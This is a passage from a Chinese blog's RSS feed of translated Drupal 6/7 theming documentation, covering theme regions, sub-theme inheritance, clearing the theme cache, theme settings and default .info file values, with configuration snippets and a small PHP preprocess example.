&lt;p&gt;而在Drupal 7中增加了Highligted和Help作为缺省区域。Help区域的文字内容默认和Drupal 6中的page.tpl.php$help变量一致。侧边栏的机读名称也发生了变化。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[sidebar_first] = Left sidebar
regions[sidebar_second] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
regions[highlighted] = Highlighted
regions[help] = Help
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Drupal 7的bartik主题设置了如下的默认区域：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[header] = Header
regions[help] = Help
regions[page_top] = Page top
regions[page_bottom] = Page bottom
regions[highlighted] = Highlighted
regions[featured] = Featured
regions[content] = Content
regions[sidebar_first] = Sidebar first
regions[sidebar_second] = Sidebar second
regions[triptych_first] = Triptych first
regions[triptych_middle] = Triptych middle
regions[triptych_last] = Triptych last
regions[footer_firstcolumn] = Footer first column
regions[footer_secondcolumn] = Footer second column
regions[footer_thirdcolumn] = Footer third column
regions[footer_fourthcolumn] = Footer fourth column
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;记住内部名称在page.tpl.php中会转换为区域变量。在上面的例子中，[header]区会以变量的形式输出指派到这一区域的所有内容，在Drupal 6中是$header，在Drupal 7中是$page[&amp;lsquo;header&amp;rsquo;]。对于&lt;a href=&#34;http://us3.php.net/variables&#34; target=&#34;_blank&#34;&gt;PHP变量&lt;/a&gt;的命名有一些限制，所以区域的机读名称也应该遵循同样地规定。基本上区域的内部名称只能包含数字、字母和下划线，且必须以字母开头。&lt;/p&gt;

&lt;p&gt;而方括号之外供人阅读的名称用于在Administer &amp;gt; Site building &amp;gt; Blocks的配置页面中作为标签显示，在Drupal 7中这一路径为Administration &amp;gt; Structure &amp;gt; Blocks。&lt;/p&gt;

&lt;p&gt;下图是Garland中的块管理表格：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/block_config_garland.png&#34; alt=&#34;administration table&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Batrick中的块管理界面&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/block_config_batrick.png&#34; alt=&#34;batrick&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意事项：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;有专门用于渲染Block的&lt;a href=&#34;https://www.drupal.org/node/190815#block-tpl&#34; target=&#34;_blank&#34;&gt;模板文件&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;新增任何自定义区域，都会使缺省区域失效。如果你想要在自定义区域之外还继续使用原有区域，需要手工添加。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;区域的定义顺序会反应到配置页面。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;info文件的内容是缓存在数据库中的，所以对它的修改不会反应到Drupal中。(不要把info文件和&lt;a href=&#34;https://www.drupal.org/node/173880#theme-registry&#34; target=&#34;_blank&#34;&gt;主题注册表&lt;/a&gt;弄混了)。可以&lt;a href=&#34;http://drupal.org/node/337176&#34; target=&#34;_blank&#34;&gt;清理主题缓存&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;更新备注：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;$footer_message区域在Drupal 7中已经被移除。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;$content区域&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Drupal 6和之前，page.tpl.php的$content变量的内容需要添加到Block里，&lt;strong&gt;并把Block放置在内容区域中&lt;/strong&gt;（如果你定义了这个区域的话）。&lt;/p&gt;

&lt;p&gt;在Drupal 7中，$content成为一个完整的区域，而且是主题中必须定义的内容。这一变化使得Drupal能在任何新主题中识别出放置主要页面内容的缺省区域。&lt;/p&gt;

&lt;p&gt;在Drupal 6中，只能把Block添加这一区域中。要把block放倒主页内容之前，只能定义一个特别的区域。Drupal 7把主页内容做成了自己的Block。这样一来，无需新建新的区域，都可以把Block放置在内容前或是后都了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;手工为区域指定内容&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;注意，在&lt;a href=&#34;https://www.drupal.org/node/713462&#34; target=&#34;_blank&#34;&gt;#713462: drupal_add_region_content() not usable&lt;/a&gt;解决之前，Drupal 7和8都无法使用drupal_add_region_content，除非应用连接中的补丁。&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;要手工指定内容到某个区域，Drupal 6中可以使用&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--common.inc/function/drupal_set_content/6&#34; target=&#34;_blank&#34;&gt;drupal_set_content&lt;/a&gt;，Drupal 7中可以使用&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--common.inc/function/drupal_add_region_content/7&#34; target=&#34;_blank&#34;&gt;drupal_add_region_content&lt;/a&gt;，例如在Drupal 6中可以通过&lt;code&gt;drupal_set_content(&#39;header&#39;, &#39;Welcome!&#39;)&lt;/code&gt;把这段文字添加到header区域中。&lt;/p&gt;

&lt;p&gt;还有一个更有用的例子：把所有注释汇总到&amp;rdquo;right&amp;rdquo;区域中，把drop前缀换成你的主题机读名称即可。&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;preprocessors is available&lt;/a&gt;提供了更多信息。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function drop_preprocess_comment(&amp;amp;$variables) {
    // Setup a few variables.
    $comment = $variables[&#39;comment&#39;];
    $title = l(
    $comment-&amp;gt;subject,
    comment_node_url(),
    array(&#39;fragment&#39; =&amp;gt; &amp;quot;comment-$comment-&amp;gt;cid&amp;quot;)
    );
    $new_marker = $comment-&amp;gt;new ? t(&#39;new&#39;) : &#39;&#39;;
    $by_line = t(&#39;by&#39;) .&#39; &#39;. theme(&#39;username&#39;, $comment);
    // Form the markup.
    $summary = &#39;&amp;lt;div class=&amp;quot;comment-sidebar&amp;quot;&amp;gt;&#39;;
    $summary .= &#39;&amp;lt;span class=&amp;quot;title&amp;quot;&amp;gt;&#39; . &amp;quot;$title $new_marker&amp;lt;/span&amp;gt;&amp;quot;;
    $summary .= &#39;&amp;lt;span class=&amp;quot;credit&amp;quot;&amp;gt;&#39; . &amp;quot;$by_line&amp;lt;/span&amp;gt;&amp;quot;;
    $summary .= &#39;&amp;lt;/div&amp;gt;&#39;;
    // Set the comment into the right region.
    drupal_set_content(&#39;right&#39;, $summary);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意用这个方法设置内容会比block区域的读取要早，这一功能是通过&lt;a href=&#34;http://api.drupal.org/api/function/template_preprocess_page/6&#34; target=&#34;_blank&#34;&gt;template_preprocess_page&lt;/a&gt; &amp;gt; &lt;a href=&#34;http://api.drupal.org/api/function/theme_blocks/6&#34; target=&#34;_blank&#34;&gt;theme_blocks&lt;/a&gt; &amp;gt; &lt;a href=&#34;http://api.drupal.org/api/function/drupal_get_content/6&#34; target=&#34;_blank&#34;&gt;drupal_get_content&lt;/a&gt;来实现的。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>创建子主题</title>
      <link>/post/drupal-create-sub-theme/</link>
      <pubDate>Sat, 05 Jul 2014 07:38:43 +0800</pubDate>
      <guid>/post/drupal-create-sub-theme/</guid>
      <description>&lt;p&gt;子主题跟其他主题类似，只有一点区别：他们继承了父主题的资源。子主题和父主题的层次是没有限制的。一个子主题可能是另外一个子主题的父主题，也可能存在分支的关系，这种随意性给了子主题很大的操作空间。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/90e9fdd7980deaebf1dd75b647df765f.png&#34; alt=&#34;sub-theme branch&#34; /&gt;&lt;/p&gt;

&lt;p&gt;想象一下，从线框图做一个父主题，然后在子主题中应用和实现所有的细节。然后利用同样的线框图，出一份不同的分支的子主题。在一个多站点Drupal上，需要一份具有一致性的主题？利用子主题，很多设计资源都可以进行分享。每站点的变化都可以应用到一个子主题中，共享资源的变化则可以应用到所有的子主题中。在合理的规划之下，子主题具有无穷的可能。&lt;/p&gt;

&lt;p&gt;##创建一个子主题&lt;/p&gt;

&lt;p&gt;一个子主题必须有一个跟父主题不同的内部名称。这个名字不能包含任何空格和特殊字符。&lt;strong&gt;子主题的名字必须以字母开始，并只能包含小写字母、数字和下划线&lt;/strong&gt;。我们假设我们的子主题命名为&amp;rdquo;my_subtheme&amp;rdquo;。&lt;/p&gt;

&lt;p&gt;###目录：my_subtheme&lt;/p&gt;

&lt;p&gt;子主题应该保存在自己的目录中。这个目录应该和名称一致。&lt;/p&gt;

&lt;p&gt;子主题的文件夹应该放在sites/example.com/themes/（&amp;rdquo;example.com&amp;rdquo;代表你的站点名称），如果要在多个站点使用这个子主题，可以放在sites/all/themes/里面。&lt;/p&gt;

&lt;p&gt;###my_subtheme.info文件&lt;/p&gt;

&lt;p&gt;要声明一个主题是另外一个主题的子主题，必须在my_subtheme文件夹里面放置一个my_subtheme.info文件。最简单的办法是把父主题的info文件拷贝过来，把名字改成my_subtheme.info。然后在my_subtheme.info中添加&amp;rdquo;base theme&amp;rdquo;来声明这个子主题的父主题或者说父主题；把&amp;rdquo;theme_name&amp;rdquo;改成父主题的机读名称。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;base theme = theme_name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改name = 这行的内容，来起个供人阅读的名称也是个好主意。还可以修改description的值来对子主题做一个描述：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = My sub-theme
description = This is a sub-theme of theme Bartik, made by John for the web site example.com (red, responsive).
core = 7.x
base theme = bartik
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;子主题从父主题继承了&lt;strong&gt;大部分&lt;/strong&gt;的属性。最大的例外是区域、核心版本和颜色。你可能想要从父主题赋值区域以及核心一节的内容。如果你的父主题支持Color模块，并且你希望你的子主题也支持他，你可能还要把color目录拷贝过来，并且把父主题的info文件中相应的内容拷贝到子主题的info文件中：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][] = css/colors.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后把colors.css从你的父主题赋值到子主题的css目录中。&lt;/p&gt;

&lt;p&gt;##继承样式表&lt;/p&gt;

&lt;p&gt;只要在子主题info文件中声明最少一个样式表，所有父主题中定义的&lt;a href=&#34;https://www.drupal.org/node/171209&#34; target=&#34;_blank&#34;&gt;样式表&lt;/a&gt;都会被继承。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承的样式表&lt;/strong&gt;：给子主题中的一个样式表指定同样的文件名。例如要覆盖父主题继承来的style.css，只要在子主题的info文件里加入以下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][]   = style.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果你只是想禁用引入的样式，只要创建一个同名空文件就可以了。&lt;/p&gt;

&lt;p&gt;###继承JavaScript&lt;/p&gt;

&lt;p&gt;所有父主题中的&lt;a href=&#34;https://www.drupal.org/node/171213&#34; target=&#34;_blank&#34;&gt;JavaScript&lt;/a&gt;都会被继承。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承的JavaScript&lt;/strong&gt;：在子主题的info文件里指定一个同名的文件。例如要覆盖父主题中的script.js，在info文件中加入这一行：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;scripts[] = script.js
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果只是想要禁用引入的脚本，只要创建一个同名空文件。（原作应该就是copy过来的——译者注）&lt;/p&gt;

&lt;p&gt;###Template.php函数的继承&lt;/p&gt;

&lt;p&gt;父主题中template.php定义的任何内容都会被继承，其中包括&lt;a href=&#34;https://www.drupal.org/node/173880#function-override&#34; target=&#34;_blank&#34;&gt;主题函数覆盖&lt;/a&gt;、&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;预处理函数&lt;/a&gt;以及其他的任何东西。每个子主题也应该有自己的template.php，可以在这里添加自己的函数，或覆盖继承来的函数。&lt;/p&gt;

&lt;p&gt;template.php中包含两种主要类型：&lt;a href=&#34;https://www.drupal.org/node/173880#function-override&#34; target=&#34;_blank&#34;&gt;主题函数覆盖&lt;/a&gt;，以及&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;预处理函数&lt;/a&gt;。模板系统用截然不同的方式来处理这两种函数。&lt;/p&gt;

&lt;p&gt;主题函数通过调用&lt;code&gt;theme(&#39;[hook]&#39;, $var, ....)&lt;/code&gt;的方式进行。当子主题覆盖了一个主题函数后，其他版本的这一函数就不会再执行了。&lt;/p&gt;

&lt;p&gt;而预处理函数会在处理tpl文件之前执行。例如，&lt;code&gt;[theme]_preprocess_page&lt;/code&gt;会在page.tpl.php渲染之前执行。而且，父主题的预处理函数会先于子主题的预处理函数被调用。&lt;/p&gt;

&lt;p&gt;综上所述，覆盖父主题的主题函数是可行的；而覆盖的方式无法阻止父主题预处理函数的执行，但可以通过&lt;code&gt;hook_theme_registry_alter()&lt;/code&gt;来移除一个父主题的预处理函数。&lt;/p&gt;

&lt;p&gt;###页面、节点、Block以及其他模板文件的继承&lt;/p&gt;

&lt;p&gt;Drupal提供了大量的文件，子主题可以用这些文件来继承属性。通过指定某种文件名或者结构，能够达到继承或覆盖模板的目的，这一技巧称为&lt;a href=&#34;http://drupal.org/node/223440&#34; target=&#34;_blank&#34;&gt;模板预测&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt; 中会继承父主题中所有.tpl.php文件。可以添加更加明确指向的模板，例如用&lt;code&gt;node--blog.tpl.php&lt;/code&gt;在node.tpl.php的基础上工作。&lt;/p&gt;

&lt;p&gt;单独的连字符还是用于普通的分隔单词的目的，例如&lt;code&gt;user-picture.tpl.php&lt;/code&gt;或者&lt;code&gt;node--long-content-type-name.tpl.php&lt;/code&gt;，而一对连字符则代表对符号之前的类型的某一子类型的指示。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt; 同7类似，也同样会继承父主题中的模板，但是如果想要进行更具针对性的渲染，必须首先把父主题中的这一模板（例如Node.tpl.php）拷贝到本主题之中。例如，要在子主题中添加一个&lt;code&gt;node-blog.tpl.php&lt;/code&gt;，必须先把node.tpl.php从父主题中拷贝出来。这其实是个Bug，在Drupal 7中已经修复，&lt;a href=&#34;http://drupal.org/node/279573#comment-2736592&#34; target=&#34;_blank&#34;&gt;在Drupal 6中则不会进行修复了&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承的模板&lt;/strong&gt;：在子主题中添加一个和父主题名字相同的模板，会覆盖掉父主题的同名模板。&lt;/p&gt;

&lt;p&gt;###截屏，Logo以及favicon的继承&lt;/p&gt;

&lt;p&gt;父主题的截屏会被继承，而Logo和favicon则&lt;strong&gt;不会被继承&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承来的截屏&lt;/strong&gt;：用info文件指定一个新的。&lt;/p&gt;

&lt;p&gt;###区域的继承&lt;/p&gt;

&lt;p&gt;子主题并不会继承父主题的区域定义。如果希望复用父主题的区域，需要从父主题的info文件中复制区域定义信息到自己的info文件重。如果你在使用非缺省的features，也应该将features的声明从父主题的info文件中拷贝出来。&lt;/p&gt;

&lt;p&gt;###颜色的继承&lt;/p&gt;

&lt;p&gt;color目录中对&lt;a href=&#34;https://www.drupal.org/node/108459&#34; target=&#34;_blank&#34;&gt;Color.module&lt;/a&gt;的支持不会被继承。&lt;/p&gt;

&lt;p&gt;###配置的继承&lt;/p&gt;

&lt;p&gt;theme-settings.php中的&lt;a href=&#34;https://www.drupal.org/node/177868&#34; target=&#34;_blank&#34;&gt;主题设置&lt;/a&gt;不会被继承，除非把设置声明从父主题info文件里拷贝到子主题info中。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>清空主题缓存</title>
      <link>/post/drupal-clean-theme-cache/</link>
      <pubDate>Sat, 05 Jul 2014 01:21:46 +0800</pubDate>
      <guid>/post/drupal-clean-theme-cache/</guid>
      <description>&lt;p&gt;原文：&lt;a href=&#34;https://www.drupal.org/docs/7/theming/clearing-the-theme-cache&#34; target=&#34;_blank&#34;&gt;Clearing the theme cache&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;info 文件被缓存在数据库中（不一定是数据库，反正是缓存了——译者注），所以对这个文件的变更，Drupal 是没有感知的。如果你新增了 tpl.php 文件，或者覆盖了新的主题方法，那么你需要清空主题缓存才能让这些变更生效。&lt;/p&gt;

&lt;p&gt;不要把这个缓存和&lt;a href=&#34;https://www.drupal.org/node/173880#theme-registry&#34; target=&#34;_blank&#34;&gt;主题注册表&lt;/a&gt;混淆了。要清理缓存，按照如下步骤进行：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击Performance页面里的“Clear all caches”按钮。注意这个按钮会清空&lt;strong&gt;所有&lt;/strong&gt;的缓存，其中不只是主题缓存。如果你的站点有很多页面或者很大流量，你可能希望用下面的&lt;strong&gt;其他&lt;/strong&gt;办法只清除主题缓存。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;  &amp;ldquo;Administration &amp;gt; Configuration &amp;gt; Development &amp;gt; Performance&amp;rdquo;（admin/config/development/performance）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt;  &amp;ldquo;Administer &amp;gt; Site configuration &amp;gt; Performance&amp;rdquo; （admin/settings/performance）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;其他办法：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/admin_menu&#34; target=&#34;_blank&#34;&gt;Admin menu&lt;/a&gt;在Home图标下面有一个清空缓存的按钮。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/devel&#34; target=&#34;_blank&#34;&gt;Devel project&lt;/a&gt;中的Devel Block模块提供了一个&amp;rdquo;Empty cache&amp;rdquo;的连接。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;D7中的&lt;a href=&#34;http://api.drupal.org/api/function/drupal_theme_rebuild/7&#34; target=&#34;_blank&#34;&gt;drupal_theme_rebuild&lt;/a&gt;或者D6中的&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!theme.inc/function/drupal_rebuild_theme_registry/6&#34; target=&#34;_blank&#34;&gt;drupal_rebuild_theme_registry&lt;/a&gt; API 函数。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;有些主题（Zen, Fusion等）在每个页面提供了一个复选框来重建主题缓存，带有漂亮的警告来提示你不要忘记关闭这东西。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/drush&#34; target=&#34;_blank&#34;&gt;Drush&lt;/a&gt;提供了一个命令：drush cc theme-registry.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://drupal.org/project/magic&#34; target=&#34;_blank&#34;&gt;The Magic Module&lt;/a&gt;有一个设置&amp;rdquo;Rebuild Theme Registry on Page Reload&amp;rdquo;（在页面重新载入时重建主题注册表）可以用于任何主题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;浏览主题选择页也会清空.info文件缓存&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果上面的办法都失败了，还可以尝试&lt;a href=&#34;http://drupal.org/node/42055&#34; target=&#34;_blank&#34;&gt;清空全部缓存&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>全局设置</title>
      <link>/post/drupal-global-configuration/</link>
      <pubDate>Fri, 04 Jul 2014 19:42:03 +0800</pubDate>
      <guid>/post/drupal-global-configuration/</guid>
      <description>&lt;p&gt;接下来讲讲全局的主题设置选项，这些选项让用户可以显示主题支持的特性。注意这些全局设置可以被各个主题的独立设置所覆盖。&lt;/p&gt;

&lt;p&gt;这里列出了缺省的选项并作出一些简单解释。&lt;/p&gt;

&lt;p&gt;注意并不是所有的主题都支持全部的特性，有些可能压根就不显示（主题可以隐藏不支持的特性）。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logo&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;多数主题会输出一个可点击的Logo，这个选项设置Logo的开关。用户可以在配置Form上传自己的Logo或者直接在主题文件夹替换logo.png，多数主题会按惯例使用logo.png作为文件名。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Site name, Site slogan&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;设置站点名称和口号是否显示。这些内容都在&amp;rdquo;Site Infomation&amp;rdquo;页面上配置。多数主题会在首页头部打印站点名称。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mission statement&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;很多主题支持在&amp;rdquo;Site Information&amp;rdquo;页面上设置的Mission Statement，通常只会显示在首页上。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User picture in posts, User picture in comments&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;如果一个用户上传了用户照片，或者管理员已经为用户设置了缺省图片，可以通过这个项目来设置相关图片是否显示。如果这些选项是灰色的，说明用户设置的管理页面没有开启用户图片选项。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Search Box&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;很多主题会输出一个搜索窗口，一般会出现在头部或某个侧边栏。如果禁用了搜索模块，这个选项会变灰。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Primary links, Secondary links&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;两种菜单，可以在Node录入Form或菜单管理功能中向其中添加连接。多数主题都支持第一菜单。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/df7009239a9b364896029427b4455a08.jpg&#34; alt=&#34;links&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Garland内置了选择不同区域颜色的功能。Drupal 6有15中预设颜色，用户也可自行定制。这一功能需要使用颜色模块，该模块是默认启用的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/a414aabd78ec162e951f40681309eb0e.jpg&#34; alt=&#34;Color&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>主题的设置</title>
      <link>/post/drupal-theme-configuration/</link>
      <pubDate>Fri, 04 Jul 2014 19:40:33 +0800</pubDate>
      <guid>/post/drupal-theme-configuration/</guid>
      <description>&lt;p&gt;主题输出的很多页面元素都可以通过主题的配置页面打开或者关闭。&lt;/p&gt;

&lt;p&gt;##Drupal 7&lt;/p&gt;

&lt;p&gt;在&amp;rdquo;Administer &amp;gt; Appearance &amp;gt; Settings &amp;gt; themeName&amp;rdquo;可以找到这些设置。例如，网站的口号可以通过&amp;rdquo;Site slogan&amp;rdquo;复选框来控制。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/8dfd372be1d63a9fef5aa050e80a13ad.png&#34; alt=&#34;slogan&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这些复选框来自于&lt;a href=&#34;https://drupal.fleeto.us/translation/writing-theme-info-files&#34; target=&#34;_blank&#34;&gt;info文件&lt;/a&gt;中的定义，必须利用info文件中的&amp;rsquo;features&amp;rsquo;键来声明，例如&lt;code&gt;features[] = the_feature&lt;/code&gt;。如果没有指定，则会采用下列的缺省值：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = node_user_picture
features[] = comment_user_picture
features[] = comment_user_verification
features[] = favicon
features[] = main_menu
features[] = secondary_menu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Drupal 7移除了以前版本中的mission和search主题元素，原因是现在这些功能已经利用Block来实现了。Drupal 7中新增了“注释中的用户校验状态”这一选项。&lt;/p&gt;

&lt;p&gt;注意：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;info文件内容会被缓存到数据库，所以修改这一文件不会直接生效，生效前需要清理缓存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;hook_features()已经弃用。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##Drupal 6&lt;/p&gt;

&lt;p&gt;在Drupal 6中，这些设置存在于“Administer &amp;gt; Site building &amp;gt; Themes &amp;gt; themeName”，&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/f6607a36786c586cf16a75738fcfe55a.png&#34; alt=&#34;Drupal6 settings&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 6中的缺省值&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = mission
features[] = node_user_picture
features[] = comment_user_picture
features[] = search
features[] = favicon
features[] = primary_links
features[] = secondary_links
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>info文件中的缺省值</title>
      <link>/post/default-values-in-drupal-info-file/</link>
      <pubDate>Fri, 04 Jul 2014 10:13:18 +0800</pubDate>
      <guid>/post/default-values-in-drupal-info-file/</guid>
      <description>

&lt;p&gt;下面是 info 文件中的缺省值，如果没有明确定义，则会没人采用这些值。&lt;/p&gt;

&lt;p&gt;这些值定义于 &lt;a href=&#34;http://api.drupal.org/api/drupal/modules%21system%21system.module/function/_system_rebuild_theme_data/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;_system_rebuild_theme_data()&lt;/code&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：这些值以组为单位，换句话说，利用 &lt;code&gt;regions[sub_header] = Sub_header&lt;/code&gt; 会省略其他的缺省区域。对样式表也是一样的情况。虽然技术上样式表不算什么组，不过一单你定义了其他的样式表，那么 style.css 这一缺省包含的内容就会被略过，必须要显示声明才可使用。 *&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;regions&#34;&gt;regions&lt;/h2&gt;

&lt;h3 id=&#34;drupal-7&#34;&gt;Drupal 7&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;regions[sidebar_first]  = Left sidebar
regions[sidebar_second] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
regions[highlighted] = Highlighted
regions[help] = Help
regions[page_top] = Page Top
regions[page_bottom] = Page Bottom
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;drupal-6&#34;&gt;Drupal 6&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;regions[left] = Left sidebar
regions[right] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;engine&#34;&gt;engine&lt;/h2&gt;

&lt;h3 id=&#34;drupal-7-1&#34;&gt;Drupal 7&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;engine = phptemplate
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;features&#34;&gt;features&lt;/h2&gt;

&lt;h3 id=&#34;drupal-7-2&#34;&gt;Drupal 7&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;settings[toggle_logo] = 1
settings[toggle_name] = 1
settings[toggle_slogan] = 1
settings[toggle_node_user_picture] = 1
settings[toggle_comment_user_picture] = 1
settings[toggle_comment_user_verification] = 1
settings[toggle_favicon] = 1
settings[toggle_main_menu] = 1
settings[toggle_secondary_menu] = 1
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;screenshot&#34;&gt;screenshot&lt;/h2&gt;

&lt;pre&gt;&lt;code&gt;screenshot = screenshot.png
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;样式表和javascript的缺省值&#34;&gt;样式表和JavaScript的缺省值&lt;/h2&gt;

&lt;p&gt;style.css 和 script.js 文件在 Drupal 6 中是缺省的，在 Drupal 7 中必须定义所有的 CSS 和 JavaScript。&lt;/p&gt;

&lt;h3 id=&#34;stylesheets&#34;&gt;stylesheets&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][] = style.css
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;scripts&#34;&gt;scripts&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;scripts[] = script.js
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;php&#34;&gt;php&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;http://api.drupal.org/api/constant/DRUPAL_MINIMUM_PHP&#34; target=&#34;_blank&#34;&gt;DRUPAL_MINIMUM_PHP&lt;/a&gt;是一个常量，指明了Drupal核心要求的最低版本。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;php = DRUPAL_MINIMUM_PHP
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>为主题编写info文件</title>
      <link>/post/drupal-theme-info-file/</link>
      <pubDate>Fri, 04 Jul 2014 10:01:30 +0800</pubDate>
      <guid>/post/drupal-theme-info-file/</guid>
